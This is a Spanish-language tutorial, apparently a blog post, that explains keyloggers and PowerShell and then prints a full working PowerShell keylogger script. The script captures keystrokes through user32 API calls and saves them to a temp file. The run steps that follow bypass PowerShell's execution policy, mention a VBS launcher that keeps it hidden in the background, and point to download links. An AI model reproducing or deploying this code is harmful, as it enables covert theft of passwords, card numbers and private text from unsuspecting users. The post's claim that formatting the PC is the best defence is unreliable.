Un keylogger (derivado del inglés: key (tecla) y logger (registrador); registrador de teclas) es un tipo de software o un dispositivo hardware específico que se encarga de registrar las pulsaciones que se realizan en el teclado, para posteriormente memorizarlas en un fichero o enviarlas a través de internet.
Suele usarse como malware del tipo daemon, permitiendo que otros usuarios tengan acceso a contraseñas importantes, como los números de una tarjeta de crédito, u otro tipo de información privada que se quiera obtener.
El registro de lo que se teclea puede hacerse tanto con medios de hardware como de software.
Los sistemas comerciales disponibles incluyen dispositivos que pueden conectarse al cable del teclado (lo que los hace inmediatamente disponibles pero visibles si un usuario revisa el teclado) y al teclado mismo (que no se ven pero que se necesita algún conocimiento de como soldarlos para instalarlos en el teclado).
Escribir aplicaciones para realizar keylogging es trivial y, como cualquier programa computacional, puede ser distribuido a través de un troyano o como parte de un virus informático o gusano informático. Incluso puede alterar las búsquedas en Google, creando búsquedas inexistentes y otras páginas adicionales. Se suele descargar comprimido para eludir antivirus. Se dice que se puede utilizar un teclado virtual para evitar esto, ya que sólo requiere clics del ratón. Sin embargo, las aplicaciones más nuevas también registran screenshots (capturas de pantalla) al realizarse un clic, que anulan la seguridad de esta medida. La mejor medida de esto es formatear la PC..
Powershell no sólo permite interactuar con el sistema operativo, sino también con programas de Microsoft como SQL Server, Exchange o IIS. La principal utilidad de Powershell es permitir automatizar tareas administrativas al usuario.
El lenguaje de la consola incluye declaración de variables, variables especiales predefinidas, operadores matemáticos, incluyendo igualdades y desigualdades numéricas, manejo de vectores, comparación entre estos, operadores de asignación, vectores asociativos (hashtables), valores booleanos, ciclos y ruptura de los mismos, operadores de expansión para simplificación de ejecuciones complejas (creación de vectores por medio de llamados a procedimientos, creación dinámica de vectores, etc.); comentarios, operadores de comparación binaria, caracteres de escape, orden de ejecución, ciclos del tipo "foreach", creación de procedimientos y funciones, creación de filtros, estructuras condicionales complejas (if/then/else/elseif/switch), operador de invocación dinámica del contenido de variables ($p = "MiProceso" --> &$p ejecuta MiProceso), llamado a métodos de tipo "$p.ToUpper()", acceso a propiedades de instancias de objetos, redirección de salida normal de consola a archivos, retorno de valores, manejo de cadenas de caracteres por medio de operadores, manejo de excepciones y conversión explícita de tipos.
Una de las principales funciones de Powershell es tratar de igualar al famoso lenguaje Perl de UNIX. El cual está considerado versátil, potente y con facilidad para interactuar con el sistema operativo. Exchange server 2007 utiliza Powershell internamente. La tendencia es que todas las aplicaciones tengan su sección visual y una opción para ver el código generado en Powershell.
Código
Keylogger.ps1
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
$signatures = @
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
@
$API = Add-Type -MemberDefinition $signatures -Name Win32 -Namespace API -PassThru
$null = New-Item -Path $Path -ItemType File -Force
try
{
Write-Host Recording key presses. Press CTRL+C to see results. -ForegroundColor Red
while ($true) {
Start-Sleep -Milliseconds 40
for ($ascii = 9; $ascii -le 254; $ascii++) {
$state = $API::GetAsyncKeyState($ascii)
if ($state -eq -32767) {
$null = [console]::CapsLock
$virtualKey = $API::MapVirtualKey($ascii, 3)
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName System.Text.StringBuilder
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally
{
notepad $Path
}
}
Start-KeyLogger
Pasos
Luego de copiar el codigo en un editor de texto "blog de notas" se guarda con el nombre keylogger.ps1
Se ejecuta desde el cmd con el comando
powershell.exe -ExecutionPolicy Bypass -File "key.ps1"
Ahora si deseas solo ejecutarlo desde con solo darle clic te dejo el link
Se ejecuta el archivo vbs para que se ejecute en segundo plano
Luego presionamos ctrl+c
Github
Mega
Descargar